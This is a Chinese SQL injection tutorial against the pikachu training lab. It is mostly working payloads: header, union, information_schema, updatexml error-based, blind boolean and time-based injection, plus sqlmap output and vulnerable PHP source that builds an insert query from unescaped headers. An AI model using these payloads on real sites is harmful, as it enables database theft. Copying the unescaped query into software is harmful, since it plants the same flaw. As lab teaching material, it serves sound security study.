OWASP top10--SQL注入(二)

目录

06:SQL注入提交方式

6.1、get提交

6.2、post提交

6.3、cookie提交

6.4、HTTP Header头提交

07:注入攻击支持类型

7.1、union注入:

7.1.1、union操作符一般与order by语句配合使用

7.1.2、information_schema注入

7.2、基于函数报错注入(insert、update、dalete)

7.2.1、insert注入

 7.2.2、update注入

7.2.3、dalete注入

7.3、盲注

7.3.1、基于布尔型SQL盲注 

 7.3.2、基于时间型SQL盲注

7.4、堆叠注入

7.5、宽字节注入(特殊)


06:SQL注入提交方式

6.1、get提交

地址栏可以看见参数

6.2、post提交

通过burp抓包(参数在请求体里)

6.3、cookie提交

通过burp抓包(参数写到cookie里)

6.4、HTTP Header头提交

请求头为:Referer、Accept、User-Agent、Cookie等

User-Agent注入

打开pikachu靶场环境;选择http头注入:

http://10.0.0.101:90/pikachu/vul/sqli/sqli_header/sqli_header.php

输入账户admin密码123456--用bp抓包拦截找到登陆地GET请求--发到bp重发器(Repeater)

 请求包内容:

GET /pikachu/vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 10.0.0.101:90
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.0.0.101:90/pikachu/vul/sqli/sqli_header/sqli_header_login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; 4unT_2132_lastvisit=1715954790; 4unT_2132_ulastactivity=bbe7dShKgYKRaBrRbwkvKSunwF6na%2B4Ow0kVNoUVHsSdR0D2Ii4f; 4unT_2132_visitedfid=2; 4unT_2132_smile=1D1; sitekeyword=%3Ca+href%3D%27http%3A%2F%2Fx%2E5vshop%2Ecom%27%3E5vShop%C8%FD%BA%CF%D2%BB%B5%E7%C9%CC%CF%B5%CD%B3%C9%CF%CA%D0%21%21%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%3Ca+href%3D%27show%2Easp%3Fpkid%3D4929%27%3E%C3%C9%CC%D8%CB%B9%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%3Ca+href%3D%27productlist%2Easp%3Fkind%3D00030008%27%3E%D6%D0%B5%CD%B6%CB%C3%C0%BE%C6%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%26nbsp%3B; PHPSESSID=8a0a2bc60593dcc8a0e5cc4c8bbda840
Connection: close

漏洞探测:去除User-Agent:内容,然后输入' 运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。

'

在User-Agent输入payload :(尝试获取数据库的信息)

Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '

 成功sql注入:

查看源代码:

//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);

 注:发现User-Agent头未做过滤,直接带入数据库,产生SQL注入漏洞。


07:注入攻击支持类型

7.1、union注入:

7.1.1、union操作符一般与order by语句配合使用

union操作符一般与order by语句配合使用(id=1 order by 5 测是否有5个字段)
如:
a' order by 4#%    --判断主查询的字段,报错没有4个字段
a' order by 3#%    --判断主查询的字段,没报错有3个字段
a' union select database(),user(),version()#%  
--通过union select查询:
--database(): MySQL函数,返回当前数据库的名称。
--user(): 获取当前连接的用户名。
--version(): 显示MySQL服务器的版本信息。

注入方式查询:

sqlmap工具、mysql靶场环境

http://10.0.0.101:90/mysql/sql.php?id=1

注入方式查询方法:sqlmap.py(cmd运行程序,需python2.7.9)
sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1
输出如下:
---
Place: GET    --提交方式
Parameter: id     --注入点
    Type: boolean-based blind    --布尔型注入
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7911=7911   --注入方式
(注入方式即http://10.0.0.101:90/mysql/sql.php?id=1 AND 7911=7911)

    Type: UNION query         --联合查询型
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#  

    Type: AND/OR time-based blind       --时间型注入
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)     --注入方式
---

使用sqlmap工具,原查询内容: 

C:\lan\sqlmap>sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1sqlmap/1.0-dev - automatic SQL injection and database takeover toolhttp://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 20:05:01[20:05:01] [INFO] resuming back-end DBMS 'mysql'
[20:05:01] [INFO] testing connection to the target URL
[20:05:01] [INFO] heuristics detected web page charset 'GB2312'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: idType: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 7911=7911Type: UNION queryTitle: MySQL UNION query (NULL) - 4 columnsPayload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#Type: AND/OR time-based blindTitle: MySQL > 5.0.11 AND time-based blindPayload: id=1 AND SLEEP(5)
---
[20:05:01] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[20:05:01] [INFO] fetched data logged to text files under 'C:\lan\sqlmap\output\10.0.0.101'[*] shutting down at 20:05:01C:\lan\sqlmap>

 union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果 

如:打开pikachu靶场,输入以下内容:

v' union select username,pw from member where id=1#%

报错: 

 因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。

 输入a' order by 4#%,反馈如图:

 输入a' order by 3#%,反馈如图: 

通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句:

a' union select database(),user(),version()#%  

成功读取数据库内容:

例2:

http://10.0.0.101:90/mysql/sql.php?id=1 union select 1,user(),3,4
输出:
用户ID: 1
用户名: root@localhost    --user()的输出内容
用户密码: 3
用户邮箱: 4 

 

 


7.1.2、information_schema注入

information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息


通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。

information_schema库-TABLES 表-TABLE_SCHEMA为pikaqiu的行

 找出数据库的名称,输入 vince' union select database(),user(),3#% 得到反馈,判断数据库名称为pikachu。
--vince是表名或用户名的一部分。

 获取pikachu数据库的表名,输入

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

获取pikachu数据库的字段名,输入: k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#% 

 最后获取字段值的内容,输入:kobe'union select username ,password,3 from users#%

输出值如:

username:admin
uid:e10adc3949ba59abbe56e057f20f883e    --密码可以通过cmd5在线解密;为123456
email is: 3


7.2、基于函数报错注入(insert、update、dalete)

updatexml()       --函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue()    --函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor()           --MYSQL中用来取整的函数.

1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4、爆表
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示:
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
5、爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段内容
k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)# 

7.2.1、insert注入

insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
----
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload
格式如下:oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
1. 爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
3. 爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

 7.2.2、update注入

与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用户注册端。
---
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,格式如下:' or updatexml(0,concat(0x7e,(database())),0) or'

7.2.3、dalete注入

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0) 


7.3、盲注

7.3.1、基于布尔型SQL盲注 

基于布尔型SQL盲注
步骤:
采用sql语句中and的方法,返回正确或错误来构造,按照之前的思路构造一个SQL拼接:
vince' and extractvalue(0,concat(0x7e,version()))#
--根据返回的信息判断此思路不再适用。


select ascii(substr(database(),1,1))>xx;
--过对比ascii码的长度,判断出数据库表名的第一个字符。
--substr()函数;substr(string,start,length);string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。
select length(database())<xx
--同样可以使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。


vince' and ascii(substr(database(),1,1))=112#
--通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。可以使用sqlmap等工具来增加盲注的效率。
--substr(database(),1,1): 这个函数用于提取database()函数返回值的第一个字符,其中database()函数通常用来获取当前使用的数据库名称。
--ascii(): 此函数用于将字符转换为其ASCII码。因此,ascii(substr(database(),1,1)) 是获取数据库名称首字母的ASCII码。
---'vince': 这是一个字符串字面量。
--=112: 这是一个比较操作符,用于判断数据库名称首字母的ASCII码是否等于112(小写字母'p'的ASCII码)。

--# 符号:在某些SQL环境中,这个符号用于注释掉一行剩余的部分。

 7.3.2、基于时间型SQL盲注

基于时间型SQL盲注
2种方法:
vince' and sleep(x)#
--vince' and sleep(20)#
--sleep(x): 这是一个典型的延时函数调用,在MySQL数据库中常见。sleep(x)会使数据库服务器暂停执行接下来的操作x秒。

WAITFOR DELAY '0:0:5'--
--WAITFOR DELAY '0:0:5': 这是SQL Server中的一个命令,用于使当前的数据库连接等待指定的时间。在这个例子中,它让数据库等待5秒钟(0:0:5表示0小时0分钟5秒)。攻击者利用此命令来实现与上述sleep(x)类似的目的,即验证SQL注入漏洞的存在,并通过观察响应延迟来确认。
-- [--:这是SQL Server中的单行注释符号。跟在它后面的所有内容都将被视为注释,不再执行。]

 


7.4、堆叠注入

参考:https://www.cnblogs.com/0nth3way/articles/7128189.html


7.5、宽字节注入(特殊)

当我们把php.ini文件里面的magic_quotes_gqc(魔术引号)参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。

 

注入流程:

如http://10.0.0.101/custom.asp?id=1
查找注入点:
存在参数id=1,可能与数据库交互,可能存在漏洞.
手工测试:尝试在id后加入单引号(')或双连字符(--),观察页面反馈是否异常,如错误信息透露了数据库结构或查询失败。

sqlmp工具跑注入

 打开网站,寻找带有参数的页面

尝试注入点  

方式一:’
方式二:and 1=1        and 1=2

 单引号报错

 and 1=2报错


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/841652.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在gitlab CICD中 小试 hooks:pre_get_sources_script 功能

参考链接&#xff1a; hooks:pre_get_sources_script 功能简介 hooks:pre_get_sources_script 是gitlab CICD中的一个功能&#xff0c;该功能可以指定在克隆 Git 仓库和任何子模块之前要在执行器上执行的某些命令。例如&#xff1a; 调整 Git 配置导出跟踪变量 下来简单给…

(已开源-ICRA2023) High Resolution Point Clouds from mmWave Radar

本文提出了一种用于生成高分辨率毫米波雷达点云的方法&#xff1a;RadarHD&#xff0c;端到端的神经网络&#xff0c;用于从低分辨率雷达构建类似激光雷达的点云。本文通过在大量原始雷达数据上训练 RadarHD 模型&#xff0c;同时这些雷达数据有对应配对的激光雷达点云数据。本…

<Python实际应用>用yolov9实现垃圾检测

公司一个项目需要在无人机巡检的画面中识别垃圾和汽车&#xff0c;正好听闻yolov9最新出炉&#xff0c;于是试了一下采用yolov9来搭建该项目 1.下载和部署 下载yolov9:GitHub地址&#xff1a;GitHub代码下载地址 配置环境可以参考之前关于yolov5的文章 Yolov5自学笔记之一-…

vcpkg环境配置

vcpkg 使用linux相关库&#xff0c;设置环境变量VCPKG_ROOT&#xff0c;设置cmake工具链$VCPKG_ROOT/scripts\buildsystems\vcpkg.cmake set VCPKG_DEFAULT_TRIPLETx64-windows .\vcpkg.exe install fftw3 freetype gettext glibmm gtkmm libjpeg-turbo libpng libxmlpp libs…

驱动开发之新字符设备驱动开发

1.前言 register_chrdev 和 unregister_chrdev 这两个函数是老版本驱动使用的函数&#xff0c;现在新的 字符设备驱动已经不再使用这两个函数&#xff0c;而是使用 Linux 内核推荐的新字符设备驱动 API 函数。 旧版本的接口使用&#xff0c;感兴趣可以看下面这个博客&#…

免费图片文字转换成文本,ocr文字识别软件免费版,真的太实用了!

截屏短视频上一段扎心文字&#xff0c;想把它发到朋友圈怎么办&#xff1f;这时候就需要一个OCR识别软件。 它就像一个聪明的小助手&#xff0c;它可以帮助电脑“看懂”书本上或者图片里的字。就像我们用眼睛看字一样&#xff0c;OCR软件用它的“眼睛”扫描图片&#xff0c;识…

百亿级流量红包系统,如何做架构?(字节面试真题)

尼恩说在前面 在40岁老架构师 尼恩的读者交流群(50)中&#xff0c;最近有小伙伴拿到了一线互联网企业如得物、阿里、滴滴、极兔、有赞、希音、百度、网易、美团的面试资格&#xff0c;遇到很多很重要的架构类/设计类的场景题&#xff1a; 1.如何设计高并发红包系统 &#xff0…

【移动云】云端赋能——数字化时代游戏与工作的新境界

前言 在当今这个信息化、数字化的时代&#xff0c;云计算、大数据和人工智能等前沿技术已经深入到我们生活的方方面面。作为我国通信行业的领军企业&#xff0c;中国移动凭借其在5G技术领域的领先优势&#xff0c;推出了基于移动云计算技术的云业务品牌——移动云。移动云以云操…

猫抓(cat-catch)插件的常规用法

目录 1.1、前言1.2、抓取图片资源1.3、抓取音频资源1.4、抓取视频资源 1.1、前言 本文将介绍利用猫抓&#xff08;cat-catch&#xff09;插件如下抓取网页上的图片、音频、视频等资源&#xff0c;猫抓&#xff08;cat-catch&#xff09;插件的安装及设置请参考推荐一款媒体影音…

一文扫尽Nas常用Docker软件

NAS&#xff08;Network Attached Storage&#xff0c;网络附加存储&#xff09;设备上的Docker软件选择取决于您的具体需求和用途。以下是一些NAS上常用的Docker软件推荐&#xff1a; Docker管理工具&#xff1a; Watchtower&#xff1a;它可以自动更新Docker容器中的镜像&…

HILL密码

一&#xff1a;简介 Hill密码又称希尔密码是运用基本矩阵论原理的替换密码&#xff0c;属于多表代换密码的一种&#xff0c;由L e s t e r S . H i l l Lester S. HillLesterS.Hill在1929年发明。 二&#xff1a;原理 1.对于每一个字母&#xff0c;我们将其转化为对应的数字&am…

UneMeta与日本顶级IP熊本熊合作,首个NFT玩法揭秘

UneMeta 生态是一个备受加密市场以及动漫 IP 市场关注的老牌 Web3 数字资产平台&#xff0c;旨在架起现实艺术 IP 和 NFT 艺术社区之间的桥梁&#xff0c;以促进 Web3 社区的包容性和多样性。并期望基于生态一流的产品体验和平台属性&#xff0c;打造一个包容交汇的元宇宙社区。…

MDK安装

MDK安装 1 MDK的差异2 切换MDK3 安装芯片支持包注意点 1 MDK的差异 不同版本MDK有略微的差别&#xff0c;比如&#xff1a;MDK536.EXE&#xff0c;支持版本5的交叉编译链。如下图所示&#xff1a; 而MDK539.EXE不支持版本5的交叉编译链&#xff0c;所以工作的时候&#xff0c…

anaconda的安装和使用

anaconda的安装和使用 Anaconda 是一个用于科学计算和数据分析的开源发行版&#xff0c;包含了Python和R的众多包和管理工具。以下是Anaconda的安装和使用指南&#xff1a; 1. 安装Anaconda 1.1 下载Anaconda 访问 Anaconda官网 下载适用于你操作系统的Anaconda安装包。 1.2 安…

【C语言】自定义类型:联合体和枚举

1. 联合体 1.1 联合体的特点 像结构体⼀样&#xff0c;联合体也是由⼀个或者多个成员构成&#xff0c;这些成员可以不同的类型。 但是编译器只为最⼤的成员分配⾜够的内存空间。联合体的特点是所有成员共⽤同⼀块内存空间所以联合体也叫&#xff1a;共⽤体。 union Un {char…

K8s的CRI机制是什么?

1. 概述 进入 K8s 的世界&#xff0c;会发现有很多方便扩展的 Interface&#xff0c;包括 CRI, CSI, CNI 等&#xff0c;将这些接口抽象出来&#xff0c;是为了更好的提供开放、扩展、规范等能力。 K8s CRI(Container Runtime Interface) 是 K8s 定义的一组与容器运行时进行交…

八种单例模式

文章目录 1.单例模式基本介绍1.介绍2.单例模式八种方式 2.饿汉式&#xff08;静态常量&#xff0c;推荐&#xff09;1.基本步骤1.构造器私有化&#xff08;防止new&#xff09;2.类的内部创建对象3.向外暴露一个静态的公共方法 2.代码实现3.优缺点分析 3.饿汉式&#xff08;静态…

C#基础语言

​​​​ 目录 一个c# 程序主要包括以下部分&#xff1a;​​​​​​​ 标识符 C# 关键字 C# 数据类型 值类型&#xff08;Value types&#xff09; 引用类型&#xff08;Reference types&#xff09; 对象&#xff08;Object&#xff09;类型 动态&#xff08;Dynam…

Python应用实战,用动画生成冒泡排序的过程

写在前言 hello&#xff0c;大家好&#xff0c;我是一点&#xff0c;专注于Python编程&#xff0c;如果你也对感Python感兴趣&#xff0c;欢迎关注交流。 希望可以持续更新一些有意思的文章&#xff0c;如果觉得还不错&#xff0c;欢迎点赞关注&#xff0c;有啥想说的&#x…

牛客NC222 插入区间【中等 数组,区间合并问题 Java/Go/PHP/C++】lintcode30 插入区间

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/1d784b5472ab4dde88ea2331d16ee909 https://www.lintcode.com/problem/30/solution/56586 思路 Java代码 import java.util.*;/** public class Interval {* int start;* int end;* public Interval(int …